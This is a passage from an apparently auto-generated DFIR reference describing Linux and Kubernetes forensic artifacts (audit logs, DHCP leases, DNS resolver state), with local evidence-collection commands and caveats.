Constraints:** - Paths and log sources vary by distribution, init system, logging stack, and installed packages. Validate the active distro and service set before treating absence as meaningful. ## Cloud Infrastructure ### Kubernetes API Audit Logs **Location:** `API server audit backend configured via --audit-log-path or webhook delivery to SIEM/storage` Kubernetes API audit records capturing requests made to the API server for pods, secrets, configmaps, RBAC objects, exec sessions, and other cluster resources. Logging only occurs when an audit policy and backend are configured. **Forensic Value:** API audit logs are the definitive source for proving who performed administrative actions in a cluster. They expose secret access, pod exec activity, RBAC changes, ephemeral workload creation, and API-based tampering that may leave only limited traces on individual nodes. **Tools:** cp, grep, kubectl, jq **Technologies:** Kubernetes **Collection Commands:** - **cp:** `cp /var/log/kubernetes/audit.log /forensics/output/kubernetes_audit.log 2>/dev/null` - **grep:** `grep -E ""verb":"(create|patch|delete|update)"" /var/log/kubernetes/audit.log > /forensics/output/kubernetes_audit_mutations.json 2>/dev/null` - **kubectl:** `kubectl get events --all-namespaces --sort-by=.metadata.creationTimestamp > /forensics/output/kubernetes_events.txt` **Official References:** - [systemd.timer Manual](https://www.freedesktop.org/software/systemd/man/latest/systemd.timer.html) - [NetworkManager Keyfile Format](https://networkmanager.pages.freedesktop.org/NetworkManager/NetworkManager/nm-settings-keyfile.html) - [sshd_config Manual](https://man.openbsd.org/sshd_config) - [systemd-resolved Service](https://www.freedesktop.org/software/systemd/man/latest/systemd-resolved.service.html) - [Kubernetes auditing](https://kubernetes.io/docs/tasks/debug/debug-cluster/audit/) **Collection Constraints:** - Paths and log sources vary by distribution, init system, logging stack, and installed packages. Validate the active distro and service set before treating absence as meaningful. - Centralized log copies may normalize, truncate, or drop fields relative to the original on-host artifact. Preserve the local source when scope and access permit. - API audit evidence exists only when an audit policy and backend were configured before the incident. - Cluster-level audit logs explain API actions, but investigators still need node or workload telemetry for post-execution behavior. ## Network Traffic ### DHCP Lease Records **Location:** `/var/lib/NetworkManager/*.lease, /var/lib/dhcp/*.leases, /var/lib/dhclient/*.leases, or /run/NetworkManager/devices/*` **Also Known As:** dhclient.leases, NetworkManager lease cache Lease files and runtime state created by DHCP clients such as NetworkManager, dhclient, or systemd-networkd. They retain assigned addresses, lease renewal times, DHCP server identifiers, routers, DNS servers, and option payloads negotiated with the network. **Forensic Value:** DHCP lease artifacts place a system on a specific network segment at a specific time and often identify the upstream DHCP server, gateway, and DNS infrastructure used during that period. They can reveal rogue DHCP responses, attacker-controlled DNS settings, or temporary addressing associated with hotel, hotspot, or staging networks. Because lease timestamps survive after the interface disconnects, they provide durable network context for systems that move frequently between environments. **Tools:** cat, grep, nmcli, journalctl **Collection Commands:** - **find:** `find /var/lib/NetworkManager /var/lib/dhcp /var/lib/dhclient /run/NetworkManager -type f \( -name "*.lease" -o -name "*.leases" -o -name "*dhcp*" \) -exec cp --parents {} /forensics/output/ \; 2>/dev/null` - **nmcli:** `nmcli -f GENERAL.DEVICE,IP4.ADDRESS,IP4.GATEWAY,IP4.DNS device show > /forensics/output/current_ip_state.txt` - **journalctl:** `journalctl -u NetworkManager --since "2024-01-01" > /forensics/output/networkmanager_dhcp_journal.txt` **Official References:** - [systemd.timer Manual](https://www.freedesktop.org/software/systemd/man/latest/systemd.timer.html) - [NetworkManager Keyfile Format](https://networkmanager.pages.freedesktop.org/NetworkManager/NetworkManager/nm-settings-keyfile.html) - [sshd_config Manual](https://man.openbsd.org/sshd_config) - [systemd-resolved Service](https://www.freedesktop.org/software/systemd/man/latest/systemd-resolved.service.html) **Collection Constraints:** - Paths and log sources vary by distribution, init system, logging stack, and installed packages. Validate the active distro and service set before treating absence as meaningful. - Lease paths and formats vary by DHCP client. Runtime-only state under /run may disappear on reboot or interface reset. ### DNS Resolver Configuration & Cache State **Location:** `/etc/resolv.conf, /run/systemd/resolve/*, /etc/systemd/resolved.conf, and runtime state via resolvectl` **Also Known As:** resolv.conf, systemd-resolved, resolvectl Resolver configuration files and runtime cache state used by glibc resolv.conf consumers or by systemd-resolved. These artifacts capture the nameservers, search domains, DNS-over-TLS settings, stub-resolver state, and per-link resolver assignments active on the host. **Forensic Value:** Resolver state is essential for determining how a compromised Linux host translated names during the incident. It can expose attacker-added DNS servers, split-DNS VPN settings, sinkholes, or transient per-link resolvers used only while connected to a malicious network. Runtime cache inspection can also show recently resolved domains and confirm whether suspicious infrastructure was reachable via the configured resolver path. **Tools:** cat, resolvectl, journalctl, grep **Collection Commands:** - **cat:** `cat /etc/resolv.conf /etc/systemd/resolved.conf > /forensics/output/resolver_config.txt 2>/dev/null` - **resolvectl:** `resolvectl status > /forensics/output/resolvectl_status.txt` - **find:** `find /run/systemd/resolve -type f -exec cp --parents {} /forensics/output/ \; 2>/dev/null` **Official References:** - [systemd.timer Manual](https://www.freedesktop.org/software/systemd/man/latest/systemd.timer.html) - [NetworkManager Keyfile Format](https://networkmanager.pages.freedesktop.org/NetworkManager/NetworkManager/nm-settings-keyfile.html) - [sshd_config Manual](https://man.openbsd.org/sshd_config) - [systemd-resolved Service](https://www.freedesktop.org/software/systemd/man/latest/systemd-resolved.service.html) **Collection Constraints:** - Paths and log sources vary by distribution, init system, logging stack, and installed packages. Validate the active distro and service set before treating absence as meaningful. - Live-state evidence is volatile. Collect it before reboot, containment, or power loss whenever legal and operational constraints allow. - Resolver caches are often memory-backed and may be lost on reboot. Systems that bypass systemd-resolved may expose only static resolver configuration without recent query context. --- *Generated by DFIR Assist*